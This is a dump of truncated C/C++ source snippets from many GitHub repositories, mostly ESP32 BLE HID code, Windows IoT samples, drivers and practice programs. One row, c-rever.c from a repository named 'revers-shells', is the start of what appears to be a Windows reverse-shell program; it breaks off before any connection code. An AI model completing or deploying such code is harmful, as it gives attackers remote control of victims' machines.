repo_name stringlengths 6 97 | path stringlengths 3 341 | text stringlengths 8 1.02M |
|---|---|---|
nscooling/tddc-wsl | project/src/light.h | #ifndef _light_h
#define _light_h
void light_on(void);
void light_off(void);
#endif // _light_h |
nscooling/tddc-wsl | project/src/winding_motor.h | <gh_stars>0
#ifndef _WINDING_MOTOR_H
#define _WINDING_MOTOR_H
typedef enum { CLOCKWISE, ANTI_CLOCKWISE } Direction;
void motor_on(Direction dir);
void motor_off(void);
#endif // _WINDING_MOTOR_H
|
naokiri/http_mouse_server | components/ble_hid/include/gap_handler.h | <gh_stars>0
#include "host/ble_hs.h"
#include "ble_hid_component.h"
// Defined in https://btprodspecificationrefs.blob.core.windows.net/assigned-values/16-bit%20UUID%20Numbers%20Document.pdf
#define GATT_SERVICE_HID 0x1812
static uint8_t own_addr_type;
void begin_advertise(hid_control_t *hid_control);
int gap_handle... |
naokiri/http_mouse_server | components/ble_hid/hid_service.c | #include "hid_service.h"
#include "esp_log.h"
#include "gatt_handler.h"
#include "host/ble_att.h"
#include "host/ble_hs.h"
#include <stdint.h>
#define HID_TAG "hidservice"
#define MOUSE_REPORT_ID 0x01
// HID service and some HOGP requested services' impl
// static struct mouse_report_t {
// uint8_t button;
// ... |
naokiri/http_mouse_server | components/ble_hid/include/ble_hid_component.h | <gh_stars>0
#include "nimble/ble.h"
#ifndef BLE_HID_COMPONENT_H
#define BLE_HID_COMPONENT_H
typedef struct {
bool is_notifiable;
bool is_indicatable;
// gap connection handle
uint16_t conn;
} hid_control_t;
void init_ble_hid(hid_control_t *control);
void init_hid_control();
int send_mouse_event(... |
naokiri/http_mouse_server | components/ble_hid/include/hid_service.h | <gh_stars>0
#include "ble_hid_component.h"
#include "host/ble_gatt.h"
int report_map_cb(uint16_t conn_handle, uint16_t attr_handle,
struct ble_gatt_access_ctxt *ctxt, void *arg);
int report_cb(uint16_t conn_handle, uint16_t attr_handle,
struct ble_gatt_access_ctxt *ctxt, void *arg);
i... |
naokiri/http_mouse_server | components/ble_hid/misc.c | #include "host/ble_gap.h"
#include "modlog/modlog.h"
#include "nimble/ble.h"
#include <stdint.h>
/**
* Utility function to log an array of bytes.
*/
void print_bytes(const uint8_t *bytes, int len) {
int i;
for (i = 0; i < len; i++) {
MODLOG_DFLT(INFO, "%s0x%02x", i != 0 ? ":" : "", bytes[i]);
}
... |
naokiri/http_mouse_server | components/ble_hid/gatt_handler.c | #include "gatt_handler.h"
#include "hid_service.h"
#include "esp_log.h"
#include "host/ble_hs.h"
#include "host/ble_uuid.h"
#include "services/gap/ble_svc_gap.h"
#include "services/gatt/ble_svc_gatt.h"
#define GATT_HANDLER_TAG "GAT_HANDLER"
// Many hosts doesn't require this service even though it is mandatory in sp... |
naokiri/http_mouse_server | main/hello_world_main.c | /* Hello World Example
This example code is in the Public Domain (or CC0 licensed, at your option.)
Unless required by applicable law or agreed to in writing, this
software is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
CONDITIONS OF ANY KIND, either express or implied.
*/
#include "ble_hid_com... |
naokiri/http_mouse_server | components/ble_hid/include/misc.h | #include "host/ble_gap.h"
void print_bytes(const uint8_t *bytes, int len);
void print_addr(const void *addr);
void bleprph_print_conn_desc(struct ble_gap_conn_desc *desc); |
naokiri/http_mouse_server | components/ble_hid/include/gatt_handler.h | <reponame>naokiri/http_mouse_server
#ifndef GATT_HANDLER_H
#define GATT_HANDLER_H
#include "esp_err.h"
#include "host/ble_gatt.h"
void gatt_svr_register_cb(struct ble_gatt_register_ctxt *ctxt, void *arg);
esp_err_t init_gatts_server(void);
uint16_t report_handle;
#endif // GATT_HANDLER_H |
naokiri/http_mouse_server | components/wifi_initializer/include/wifi_initializer.h | void init_wifi_task(); |
naokiri/http_mouse_server | components/ble_hid/ble_hid_component.c | #include "ble_hid_component.h"
#include "gap_handler.h"
#include "gatt_handler.h"
#include "hid_service.h"
#include "misc.h"
#include <stdio.h>
#include "esp_log.h"
#include "esp_nimble_hci.h"
#include "host/ble_hs.h"
#include "host/util/util.h"
#include "nimble/nimble_port.h"
#include "nimble/nimble_port_freertos.h"
... |
naokiri/http_mouse_server | components/ble_hid/gap_handler.c | #include "gap_handler.h"
#include "misc.h"
#include "services/gap/ble_svc_gap.h"
#include "esp_log.h"
#define HIDD_DEVICE_NAME "esp32_mouse"
#define BLE_GAP_TAG "BLE_GAP"
/**
* Enables advertising with the following parameters:
* o Limited discoverable mode.
* o Undirected connectable mode.
*/
void beg... |
naokiri/http_mouse_server | components/webserver/include/webserver.h | <gh_stars>0
#ifndef WEBSERVER_H
#define WEBSERVER_H
#include "freertos/FreeRTOS.h"
#include "freertos/queue.h"
#include <esp_http_server.h>
httpd_handle_t start_webserver(void);
void register_mouse_notification_queue(QueueHandle_t theHandle);
typedef struct {
int8_t x;
int8_t y;
uint8_t button;
} mouse_... |
naokiri/http_mouse_server | components/wifi_initializer/wifi_initializer.c | <gh_stars>0
#include "wifi_initializer.h"
#include "esp_wifi.h"
#include <stdio.h>
// #define LOG_LOCAL_LEVEL ESP_LOG_DEBUG
#include "esp_log.h"
static const char *TAG = "WifiInitializer";
static TaskHandle_t *toNotify;
static void event_handler(void *arg, esp_event_base_t event_base,
int32_... |
naokiri/http_mouse_server | components/webserver/webserver.c | #include "webserver.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// #define LOG_LOCAL_LEVEL ESP_LOG_DEBUG
#include "esp_log.h"
#define WEB_SERVER_TAG "webserver"
QueueHandle_t notificationQueue = NULL;
void register_mouse_notification_queue(QueueHandle_t theHandle) {
notificationQueue = theHand... |
jingxu10/torch-ccl | src/utils.h | <gh_stars>10-100
/*
* Copyright (c) 2020-2021, Intel Corporation
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright
* ... |
mintorchid/FileSearch | src/c/term.h | /****************************
LICENSE
https://github.com/mintorchid/mintFileSearch
Copyright 2018-2019 mintorchid <EMAIL>
Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at
http://www.apache.o... |
mintorchid/FileSearch | src/c/main.c | <reponame>mintorchid/FileSearch<gh_stars>0
/****************************
LICENSE
https://github.com/mintorchid/mintFileSearch
Copyright 2018-2019 mintorchid <EMAIL>
Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a cop... |
mintorchid/FileSearch | src/c/search.h | <filename>src/c/search.h
/****************************
LICENSE
https://github.com/mintorchid/mintFileSearch
Copyright 2018-2019 mintorchid <EMAIL>
Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License a... |
mintorchid/FileSearch | src/c/term.c | /****************************
LICENSE
https://github.com/mintorchid/mintFileSearch
Copyright 2018-2019 mintorchid <EMAIL>
Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at
http://www.apache.o... |
KarlParkinson/practice | weedProblems/weed.c | #include <stdio.h>
void reverse(char s[]) {
int i = 0;
while (s[i+1]) {
i++;
}
int j = 0;
char temp;
while (j <= i) {
temp = s[j];
s[j] = s[i];
s[i] = temp;
j++;
i--;
}
}
int fib(int n) {
if (n == 1) {
return 0;
} else if (n == 2) {
return 1;
} else {
return fi... |
KarlParkinson/practice | ceeReview/fileio.c | #include <stdio.h>
#include <stdlib.h>
int main() {
int N = 100;
FILE *fp = fopen("number.txt", "w");
if (!fp) {
perror("file open error");
exit(10);
}
for (int i = 0; i <= N; i++) {
fprintf(fp, "%d\n", i);
}
fclose(fp);
fp = fopen("number.txt", "r");
int s = 0;
for (int i = 0; i <= N... |
KarlParkinson/practice | ceeReview/macros.c | #include <stdio.h>
int main() {
#define FOR(i,n) for (i = 0; i < n; i++)
int i;
FOR(i,12) {
printf("%d\n", i);
}
return 0;
}
|
KarlParkinson/practice | algs/pow2test.c | #include <stdio.h>
bool pow2test(unsigned int x) {
return (x == (~x)^0xFFFFFFFF);
}
int main() {
int x = 0;
if (pow2test(x)) {
printf("Hell yes!\n");
} else {
printf("Hell no!\n");
}
return 0;
}
|
KarlParkinson/practice | ceeReview/endian.c | #include <stdio.h>
#include <stdlib.h>
void reverse_bytes(int *p) {
char *y = (char*) p;
char *t;
t = y[0];
y[0] = y[3];
y[3] = t;
t = y[1];
y[1] = y[2];
y[2] = t;
}
int main() {
int *x = malloc(1*sizeof(int));
*x = 1;
char *y = (char*) x;
printf("%d\n", y[0]);
free(x);
int z = 256;
... |
KarlParkinson/practice | ceeReview/strInput.c | <reponame>KarlParkinson/practice
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
const int N = 4;
char inp[N];
fgets(inp, N, stdin);
printf ("Read in: %s\n", inp);
}
|
KarlParkinson/practice | ceeReview/test.c | <gh_stars>0
#include "test.h"
#include <stdio.h>
int foo (int x) {
return x*2;
}
int bar (int y) {
return y+7;
}
int main() {
printf("%d\n", foo(8));
printf("%d\n", bar(5));
}
|
KarlParkinson/practice | ceeReview/struct.c | #include <stdio.h>
#include <stdlib.h>
struct Point {
int x;
int y;
};
struct Point addPoints(struct Point p1, struct Point p2) {
struct Point p3;
p3.x = p1.x + p2.x;
p3.y = p1.y+p2.y;
return p3;
}
struct Point* addPoints2(struct Point* p1, struct Point* p2){
struct Point* p3 = (struct Point*) malloc(s... |
KarlParkinson/practice | ceeReview/scanf.c | <gh_stars>0
#include <stdio.h>
#include <stdlib.h>
int main() {
int sum = 0;
int res;
int in;
for (;;) {
res = scanf("%d", &in);
if (res == EOF) {
if (feof(stdin)) {
break;
} else {
printf("Error occurred\n");
return 1;
}
} else {
sum = sum + in;
}
}
printf("su... |
KarlParkinson/practice | ceeReview/arrs.c | <filename>ceeReview/arrs.c<gh_stars>0
#include <stdio.h>
#include <stdlib.h>
int main() {
int A[7];
for (int i = 0; i < 7; i++) {
A[i] = i*i;
}
for (int i = 0; i <= 7; i++) {
printf("%d\n", A[i]);
}
printf("%p\n", A);
}
|
KarlParkinson/practice | ceeReview/pointers.c | <filename>ceeReview/pointers.c<gh_stars>0
#include <stdio.h>
int main() {
const int N = 6;
int A[N];
int *a = A;
for (int i = 0; i < N; i++) {
*(a+i) = i*i;
}
for (int i = 0; i < N; i++){
printf("%d\n", A[i]);
}
int **p;
int *b = a+2;
p = &b;
printf("%d\n", **p);
}
|
KarlParkinson/practice | ceeReview/bitsBytes.c | #include <stdio.h>
int main() {
int k = -16;
k = k >> 1; /* should be -8 */
printf("%d\n", k);
k = k >> 1; /* should be -4 */
k = k >> 1; /* should be -2 */
k = k >> 1; /* should be -1 */
printf("%d\n", k);
k = k >> 1; /* should be -1 */
printf("%d\n", k);
k = k >> 8;
printf("%d\n", k);
int j... |
KarlParkinson/practice | ceeReview/test.h | <gh_stars>0
int foo (int x);
int bar (int y);
|
KarlParkinson/practice | ceeReview/malloc.c | <reponame>KarlParkinson/practice
#include <stdio.h>
#include <stdlib.h>
int main() {
const int N = 1000;
int *arr = malloc(N * sizeof(int));
for (int i = 0; i < N; i++){
arr[i] = i+1;
}
for (int i = 0; i < N; i++){
printf("%d\n", arr[i]);
}
free(arr);
arr = 0;
arr[4] = 7;
return 0;
}
|
KarlParkinson/practice | ceeReview/sizeof_print.c | <reponame>KarlParkinson/practice
#include <stdio.h>
#include <stdbool.h>
int main() {
int i;
double j;
float f;
short s;
bool flag;
char c;
printf("%d\n", sizeof(i));
printf("%d\n", sizeof(j));
printf("%d\n", sizeof(f));
printf("%d\n", sizeof(s));
printf("%d\n", sizeof(flag));
printf("%d\n", s... |
bbworld1/mavlink-router | src/mavlink-router/pollable.h | <reponame>bbworld1/mavlink-router
/*
* This file is part of the MAVLink Router project
*
* Copyright (C) 2017 Intel Corporation. All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of ... |
dguidipc/cosmo-lk | platform/common/power/mt6370_pmu_charger.h | <reponame>dguidipc/cosmo-lk
/* Copyright Statement:
*
* This software/firmware and related documentation ("MediaTek Software") are
* protected under relevant copyright laws. The information contained herein
* is confidential and proprietary to MediaTek Inc. and/or its licensors.
* Without the prior written permiss... |
dguidipc/cosmo-lk | platform/mt6771/boot_mode_menu.c | <gh_stars>1-10
/*This file implements MTK boot mode.*/
#include <sys/types.h>
#include <debug.h>
#include <err.h>
#include <reg.h>
#include <video.h>
#include <platform/mt_typedefs.h>
#include <platform/boot_mode.h>
#include <platform/mt_reg_base.h>
#include <platform/mtk_key.h>
#include <platform/mt_gpt.h>
#include ... |
dguidipc/cosmo-lk | platform/common/partition/part_common.c | /* Copyright Statement:
*
* This software/firmware and related documentation ("MediaTek Software") are
* protected under relevant copyright laws. The information contained herein
* is confidential and proprietary to MediaTek Inc. and/or its licensors.
* Without the prior written permission of MediaTek inc. and/or ... |
dguidipc/cosmo-lk | app/mt_boot/fdt_op.c | /* Copyright Statement:
*
* This software/firmware and related documentation ("MediaTek Software") are
* protected under relevant copyright laws. The information contained herein
* is confidential and proprietary to MediaTek Inc. and/or its licensors.
* Without the prior written permission of MediaTek inc. and/or its l... |
dguidipc/cosmo-lk | platform/common/boot/boot_info.c | /* Copyright Statement:
*
* This software/firmware and related documentation ("MediaTek Software") are
* protected under relevant copyright laws. The information contained herein
* is confidential and proprietary to MediaTek Inc. and/or its licensors.
* Without the prior written permission of MediaTek inc. and/or ... |
dguidipc/cosmo-lk | platform/mt6771/mmc_rpmb.c | <gh_stars>1-10
/* Copyright Statement:
*
* This software/firmware and related documentation ("MediaTek Software") are
* protected under relevant copyright laws. The information contained herein
* is confidential and proprietary to MediaTek Inc. and/or its licensors.
* Without the prior written permission of MediaTek in... |
dguidipc/cosmo-lk | platform/mt6771/mt6370_pmu_bled.c | <gh_stars>1-10
/* Copyright Statement:
*
* This software/firmware and related documentation ("MediaTek Software") are
* protected under relevant copyright laws. The information contained herein
* is confidential and proprietary to MediaTek Inc. and/or its licensors.
* Without the prior written permission of MediaTek in... |
fikrado/revers-shells | c-rever.c | <gh_stars>0
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <winsock2.h>
#include <winuser.h>
#include <wininet.h>
#include <windowsx.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#define bzero(p, size) (void)memset((p), 0, (size))
int sock;
void Shell()
{
char buffer[10... |
mariosgit/VFD | libraries/mbLog/mbLog.h | <reponame>mariosgit/VFD
#pragma once
// for log output
// - allows simple redirect to another Serial (or whatever)
// - allows quick disable without uncommenting each Seral.print..
// - stream style
#include <Arduino.h>
// does not work with typedef :( ???
#define MbLogOut Serial
class MbLog
{
public:
MbLog() {... |
silenceleewq/SLKeychain | SLKeyChain/SLKeyChain/SLAccountManager/SLAccountManager.h | //
// SLAccountManager.h
// SLKeyChain
//
// Created by lirenqiang on 2017/1/13.
// Copyright © 2017年 Ninja. All rights reserved.
//
#import <Foundation/Foundation.h>
@interface SLAccountManager : NSObject
@end
|
ppe/QE_driver | socket.h | #ifndef _SOCKET_H_
#define _SOCKET_H_
/**
* \file socket.h
* WIZnet SOCKET API function definition
*
* For user application, WIZnet provides SOCKET API functions
* which are similar to Berkeley SOCKET API.\n
*
* \author MidnightCow
* \date 04/07/2008
* \version 1.1.1
*
* Modify the warning-block code in... |
ppe/QE_driver | w5300.h | #ifndef _W5300_H_
#define _W5300_H_
/**
* \file w5300.h
* Definition register of W5300 and basic I/O functions.
*
* This file defines the memory map and values of W5300 register.\n
* Also, it defines the basic I/O function to access register of W5300.
*
* \author MidnightCow
* \date 15/05/2008
* \version... |
ppe/QE_driver | socket.c | /**
* \file socket.c
* Implemetation of WIZnet SOCKET API fucntions
*
* This file implements the WIZnet SOCKET API functions that is used in your internat application program.
*
* Revision History :
* ---------- ------- ----------- ----------------------------
* Date Version Author Descrip... |
ppe/QE_driver | bar.c | #include <setjmp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
static void first();
static void second();
/* Use a file scoped static variable for the exception stack so we can access
* it anywhere within this translation unit. */
static jmp_buf exception_env;
static int exception_type;
int main(voi... |
ppe/QE_driver | in.h | <filename>in.h
/*
* Includes inet_pton() code from http://rsync.samba.org/doxygen/head/inet__pton_8c-source.html
* Copyright below
*/
/*
* Copyright (C) 1996-2001 Internet Software Consortium.
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby grant... |
ppe/QE_driver | channel.c | <filename>channel.c<gh_stars>0
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "channel.h"
#include "resolv.h"
#include "debug.h"
#include "heap.h"
/* 4 byte ASCII in uppercase */
const unsigned long SCK_=0x53434b5f, TCP_=0x5443505f, UDP_=0x5544505f;
ip_peer * peers[8] = {NULL,NULL,NULL,NULL,NULL,N... |
ppe/QE_driver | debug.c | <reponame>ppe/QE_driver<filename>debug.c
#include <stdarg.h>
#include <stdio.h>
#include <qdos.h>
#include "debug.h"
char membuf[DEBUG_BUF_SIZE];
char *write_ptr = membuf;
char *guard;
unsigned int get_buf_base() {
guard = write_ptr+DEBUG_BUF_SIZE-100;
return (unsigned int)&membuf;
}
inline void dbg_printf(c... |
ppe/QE_driver | w5300.c | /**
* \file w5300.c
* Implementation of W5300 I/O fucntions
*
* This file implements the basic I/O fucntions that access a register of W5300( IINCHIP_REG).
*
* Revision History :
* ---------- ------- ----------- ----------------------------
* Date Version Author Description
* ---------- --... |
ppe/QE_driver | config.h | <filename>config.h
/* Configured Items - Config Level 1
*
* Name Description
* STRA0 IP address of card
*/
static unsigned short conf1a[] = {
12328,2,16944,4,28672,20085,
15420, 20803, 18008, 15934, 12337, 3, 28784, 25856, 6,
12590, 12337, 8224, /* Vers 1.01 */
0,36,0,65494,6,24,65535,18,18768,8... |
ppe/QE_driver | resolv.c | #include "debug.h"
#include "resolv.h"
#include "in.h"
#include "heap.h"
#include <netdb.h>
#include <limits.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <qdos.h>
/* Adapted from http://www.binarytides.com/blog/dns-query-code-in-c-with-winsock/ */
#define CACHED_ENTRIES 1... |
ppe/QE_driver | debug.h | #ifndef _DEBUG_H_
#define _DEBUG_H_
#define QE_DEBUG 1
/* #define QE_DEBUG_BUF 1 */
#define DEBUG_BUF_SIZE 10000
#define TRACE(x) do { if (QE_DEBUG) dbg_printf x; } while (0)
#define PRINTB0( ch ) (void)io_sbyte( (chanid_t)0, (timeout_t)0, ch )
#define PRINT0( msg ) (void)io_sstrg( (chanid_t)0, (timeout_t)0, msg, str... |
ppe/QE_driver | qedrv.c | <gh_stars>0
#include <qdos.h>
#include <string.h>
#include "types.h"
#include "resolv.h"
#include "chan_ops.h"
#include "heap.h"
#include "socket.h"
#include "debug.h"
#define PRINTB0( ch ) (void)io_sbyte( (chanid_t)0, (timeout_t)0, ch )
#define PRINT0( msg ) (void)io_sstrg( (chanid_t)0, (timeout_t)0, msg, strlen(msg)... |
ppe/QE_driver | chan_ops.c | <filename>chan_ops.c<gh_stars>0
#include <qdos.h>
#include "types.h"
#include "chan_ops.h"
#include "socket.h"
#include "debug.h"
// linefeed character
#define CHR_LF 0x0a
static inline short get_next_packet( int socknum, char *buf ) {
register uint32 bytes_received = 0;
bytes_received = socket_recv( (SOCKET)... |
ppe/QE_driver | resolv.h | #include <sys/types.h>
#include <netdb.h>
#include "socket.h"
/*Type field of Query and Answer */
#define T_A 1 /* host address */
#define T_NS 2 /* authoritative server */
#define T_CNAME 5 /* canonical name */
#define T_SOA 6 /* start of authority zone */
#define T_PTR 12 /* domain name pointer */
#define T_MX 15 /... |
ppe/QE_driver | types.h | #ifndef _TYPE_H_
#define _TYPE_H_
/**
* \file types.h
* Type Definition of Variables.
*
* The simple data types supported by the W5300 programs are used to define function return values,
* function and message parameters, and structure members.
* They define the size and meaning of these elements.
*
*/
type... |
ppe/QE_driver | channel.h | #ifndef _CHANNEL_H_
#define _CHANNEL_H_
#include <qdos.h>
/* TCP and UDP correspond to Sn_MR_TCP and Sb_MR_UDP defined in w5300_h */
typedef enum e_sock_type {SCK, TCP, UDP} sock_type;
typedef struct ip_peers {
sock_type type;
unsigned long ip;
unsigned short port;
} ip_peer;
/*
IOSS channel_open
returns: refere... |
ppe/QE_driver | ppe.c | <reponame>ppe/QE_driver
#include <stdio.h>
#include <qdos.h>
#define PRINTB0( ch ) (void)io_sbyte( (chanid_t)0, (timeout_t)0, ch )
QLD_LINK_t linkblk;
long ch_open() {
register QLSTR_t *name asm( "a0" );
register long ret asm("d0");
static void * name_store;
/* static QLSTR_t *name_store; */
nam... |
ppe/QE_driver | heap.c | #include "debug.h"
int alloc_balance = 0;
char * sv_memalloc( int size ) {
char *result;
alloc_balance++;
TRACE(("Alloc %d bytes, balance %d ... ", size, alloc_balance));
asm( " move.l a6,-(a7)
moveq #0,d0
trap #1
movea.l a0,a6
move.l %1,d1
... |
vishalbelsare/T4cluster | src/utilities.h | <filename>src/utilities.h
#ifndef T4CLUSTER_UTILITIES_H
#define T4CLUSTER_UTILITIES_H
#define ARMA_NO_DEBUG
#include <RcppArmadillo.h>
using namespace Rcpp;
using namespace arma;
using namespace std;
// SECTION 1 : ELEMENTARY COMPUTATION
arma::mat cpp_pdist(arma::mat X, int p);
arma::mat cpp_pdist2(arma::mat X, a... |
liuyusky/HelloWorld | b.c |
Add1: before branch test1;
<<<<<<< master
=======
Add2: after branch test, and switch to test;
Add3: add after test
>>>>>>> local
|
liuyusky/HelloWorld | a.c | <reponame>liuyusky/HelloWorld
#include <stdio.h>
#include <stdlib.h>
add after branch test
|
augustocrmg/gerenciador-marmitas | main.c | /*De acordo com as políticas de entrega de atividades repassadas pelo professor,
certifico que os algoritmos e programas que estou entregando são de minha autoria e
que não os repassei ou os recebi de qualquer outra pessoa. <NAME>-190084731*/
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <ctype.... |
Nostradamus411/ryo-blockchain-explorer | src/tools.h | //
// Created by mwo on 5/11/15.
//
#ifndef XMREG01_TOOLS_H
#define XMREG01_TOOLS_H
#include <fmt/format.h>
#define PATH_SEPARARTOR '/'
#define XMR_AMOUNT(value) \
static_cast<double>(value) / 1e9
#define REMOVE_HASH_BRAKETS(a_hash) \
a_hash.substr(1, a_hash.size()-2)
#include "monero_headers.h"
#include... |
nygrenj/Windows-iotcore-samples | Samples/AppServiceBlinky/Cpp/BlinkyService/BlinkyServiceProvider.h | #pragma once
#include "pch.h"
namespace BlinkyService
{
[Windows::Foundation::Metadata::WebHostHidden]
public ref class BlinkyServiceProvider sealed : public Windows::ApplicationModel::Background::IBackgroundTask
{
public:
virtual void Run(Windows::ApplicationModel::Background::IBackgroundTask... |
nygrenj/Windows-iotcore-samples | Samples/IoTOnboarding/CS/org.alljoyn.Icon/IconServiceEventAdapter.h | //-----------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
//
// Tool: AllJoynCodeGenerator.exe
//
// This tool is located... |
nygrenj/Windows-iotcore-samples | Samples/NTServiceRpc/cpp/Service/Server/RpcServer.h | <reponame>nygrenj/Windows-iotcore-samples
#pragma once
#include "ServiceControl.h"
#define RPC_STATIC_ENDPOINT L"NTServiceSampleRpcEndpoint"
// Client context used for making rpc calls using context handle
// https://msdn.microsoft.com/en-us/library/windows/desktop/aa378674(v=vs.85).aspx
typedef struct
{
RpcServ... |
nygrenj/Windows-iotcore-samples | Samples/NTServiceRpc/cpp/MainPage.xaml.h | //*********************************************************
//
// Copyright (c) Microsoft. All rights reserved.
// This code is licensed under the MIT License (MIT).
// THIS CODE IS PROVIDED *AS IS* WITHOUT WARRANTY OF
// ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING ANY
// IMPLIED WARRANTIES OF FITNESS FOR A PARTICUL... |
nygrenj/Windows-iotcore-samples | Samples/InternetRadio/CPP/InternetRadioDevice/InternetRadioAllJoyn/InternetRadioServiceEventArgs.h | //-----------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
//
// Tool: AllJoynCodeGenerator.exe
//
// This tool is located... |
nygrenj/Windows-iotcore-samples | Samples/AppServiceBlinky/Cpp/BlinkyClient/StartupTask.h | <filename>Samples/AppServiceBlinky/Cpp/BlinkyClient/StartupTask.h
#pragma once
#include "pch.h"
namespace BlinkyClient
{
[Windows::Foundation::Metadata::WebHostHidden]
public ref class StartupTask sealed : public Windows::ApplicationModel::Background::IBackgroundTask
{
public:
virtual void Run... |
nygrenj/Windows-iotcore-samples | Samples/SerialUART/CPP/MainPage.xaml.h | // Copyright (c) Microsoft. All rights reserved.
//
// MainPage.xaml.h
// Declaration of the MainPage class.
//
#pragma once
#include "MainPage.g.h"
namespace SerialSampleCpp
{
/// <summary>
/// A wrapper class for holding DeviceInformation while being bindable to XAML.
/// </summary>
[Windows::U... |
nygrenj/Windows-iotcore-samples | Samples/VirtualMicrophoneArrayDriver/Cpp/VirtualAudioMicArray/KsPin.h | //
// Copyright (C) Microsoft Corporation. All rights reserved.
//
#pragma once
class VirtualPin;
class KsPin
{
protected:
BOOLEAN m_bPinRunning;
BOOLEAN m_bPinOpened;
KSDATAFORMAT_WAVEFORMATEXTENSIBLE m_Format;
KSRTAUDIO_BUFFER m_RtBuffer;
PULONG m_pPositionRegister;
ULONG m_FifoSizeInFrames... |
nygrenj/Windows-iotcore-samples | Drivers/VirtualPWM/VirtualPWM/CPP/trace.h | <gh_stars>100-1000
//
// Copyright (C) Microsoft. All rights reserved.
//
#ifndef _TRACE_H_
#define _TRACE_H_
#ifdef __cplusplus
extern "C" {
#endif // __cplusplus
//
// Defining control guids, including this is required to happen before
// including the tmh file (if the WppRecorder API is used)
//
#include <WppRec... |
nygrenj/Windows-iotcore-samples | Demos/PetDoor/cpp/MainPage.xaml.h | <filename>Demos/PetDoor/cpp/MainPage.xaml.h
//
// MainPage.xaml.h
// Declaration of the MainPage class.
//
#pragma once
#include "MainPage.g.h"
#include "MotionSensor.h"
#include "Servo.h"
#include <array>
#include <iostream>
#include <MemoryBuffer.h> // IMemoryBufferByteAccess
#include <opencv2\imgproc\types_c.h... |
nygrenj/Windows-iotcore-samples | Samples/IoTOnboarding/CS/org.alljoyn.Onboarding/AllJoynBusObjectManager.h | <filename>Samples/IoTOnboarding/CS/org.alljoyn.Onboarding/AllJoynBusObjectManager.h
//-----------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code... |
nygrenj/Windows-iotcore-samples | Samples/DeviceIOController/Cpp/pch.h | <gh_stars>1000+
// Copyright (c) Microsoft. All rights reserved.
//
// pch.h
// Header for standard system include files.
//
#pragma once
#include <collection.h>
#include <ppltasks.h>
#include <strsafe.h>
#include <winioctl.h>
// Undefine symbols to avoid collision with ntddser.h
#undef SERIAL_LSRMST_ESCAPE
#undef... |
nygrenj/Windows-iotcore-samples | Samples/IoTOnboarding/CS/org.alljoyn.Icon/IconMethodResults.h | //-----------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
//
// Tool: AllJoynCodeGenerator.exe
//
// This tool is located... |
nygrenj/Windows-iotcore-samples | Samples/VirtualMicrophoneArrayDriver/Cpp/VirtualAudioMicArray/RtAudioPin.h | //
// Copyright (C) Microsoft Corporation. All rights reserved.
//
#pragma once
class RtAudioPin : public KsPin
{
protected:
PMDL m_BufferMdl;
PMDL m_PositionPointerMdl;
public:
RtAudioPin(_In_ VirtualPin* virtualPin);
virtual ~RtAudioPin();
NTSTATUS InitRtBuffer(ULONG BufferSize);
NT... |
nygrenj/Windows-iotcore-samples | Samples/VirtualMicrophoneArrayDriver/Cpp/VirtualAudioMicArray/UsbAudioPin.h | //
// Copyright (C) Microsoft Corporation. All rights reserved.
//
#pragma once
const ULONG cPingPongIrps = 2;
class UsbAudioPin : public KsPin
{
protected:
ULONG m_WritePosition;
PIRP m_PingPongIrps[cPingPongIrps];
KSSTREAM_HEADER m_KsStreamHeader[cPingPongIrps];
... |
nygrenj/Windows-iotcore-samples | Samples/InternetRadio/CPP/lib/UniversalMediaEngine/UniversalMediaEngine/MediaEngine.h | <reponame>nygrenj/Windows-iotcore-samples
#pragma once
using namespace Windows::Foundation;
using namespace Windows::Storage::Streams;
// Prototype
class MediaEngineManager;
namespace Microsoft {
namespace Maker {
namespace Media {
namespace UniversalMediaEngine
{
public enum class MediaEngineInitializ... |
nygrenj/Windows-iotcore-samples | Samples/InternetRadio/CPP/lib/UniversalMediaEngine/UniversalMediaEngine/MediaState.h | <filename>Samples/InternetRadio/CPP/lib/UniversalMediaEngine/UniversalMediaEngine/MediaState.h
#pragma once
namespace Microsoft {
namespace Maker {
namespace Media {
namespace UniversalMediaEngine
{
public enum class MediaState
{
Error,
Ended,
Stopped,
Loading,
Playing,
};... |
nygrenj/Windows-iotcore-samples | Demos/PetDoor/cpp/TimeSpanHelper.h | #pragma once
namespace PetDoor
{
class TimeSpanHelper
{
public:
TimeSpanHelper()
: m_ticks(0)
{
}
static inline TimeSpanHelper FromTicks(__int64 ticks)
{
TimeSpanHelper timeSpan;
timeSpan.m_ticks = ticks;
return timeSpan;
}
static inline TimeSpanHelper FromMilliseconds(__int64 value)
{... |
nygrenj/Windows-iotcore-samples | Drivers/VirtualPWM/VirtualPWM/CPP/precomp.h | <reponame>nygrenj/Windows-iotcore-samples
//
// Copyright (C) Microsoft. All rights reserved.
//
#include <initguid.h>
#include <Ntddk.h>
#include <wdf.h>
#include <devpkey.h>
#include <ntintsafe.h>
#include <ntstrsafe.h>
